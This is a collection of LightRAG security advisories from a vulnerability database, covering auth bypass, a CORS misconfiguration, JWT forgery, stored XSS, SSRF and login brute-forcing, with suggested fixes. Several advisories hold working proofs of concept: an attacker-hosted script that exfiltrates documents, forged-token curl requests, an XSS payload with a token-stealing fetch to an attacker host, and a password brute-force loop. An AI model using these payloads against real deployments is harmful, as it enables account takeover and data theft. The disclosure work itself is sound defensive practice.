Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Oct 14, 2025

1.4.9.2 patch

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


